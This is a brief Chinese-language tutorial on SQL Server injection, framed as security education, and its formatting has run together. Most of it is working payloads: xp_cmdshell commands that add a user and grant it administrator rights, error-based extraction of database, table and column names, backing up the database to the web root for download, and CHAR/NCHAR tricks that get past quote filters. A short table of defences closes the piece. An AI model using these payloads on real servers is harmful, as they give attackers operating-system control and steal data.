SQL Server 強大的系統表與擴展存儲過程(xp_cmdshell)是注入攻擊的豐富彈藥庫。本文實戰拆解六大注入向量與繞過單引號過濾技術。
;exec master..xp_cmdshell "net user hack pass /add"-- → 添加系統用戶;exec master..xp_cmdshell "net localgroup administrators hack /add"-- → 獲取管理員權限;;and db_name()>0 → 獲取當前數據庫名;backup database db to disk='c:\web\1.db'-- → 將庫備份到 Web 目錄下載;;and (SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND status>0)>0 → 報錯回顯表名;;and (SELECT TOP 1 col_name(object_id('表名'),1) FROM sysobjects)>0 → 逐列爆破字段名WHERE xtype='U' → WHERE xtype=CHAR(85)WHERE name='用戶' → WHERE name=NCHAR(29992)+NCHAR(25143)CHAR()、NCHAR()、ASCII()、UNICODE() 構造任意字符串| 層級 | 措施 |
|---|---|
| 代碼層 | 強制參數化查詢(SqlParameter)、禁止動態拼接 SQL |
| 數據庫層 | 應用賬號僅授 EXEC 存儲過程權限,禁用 sa、撤銷 xp_cmdshell 公共權限 |
| 網絡層 | WAF 規則攔截疑似注入載荷、限制錯誤信息回顯 |
| 審計層 | 啟用 SQL Server 審計/擴展事件記錄失敗登錄、DDL/DML 異常 |
「安全與開發本是相輔相成」—— 理解攻擊原理,才能寫出真正安全的代碼。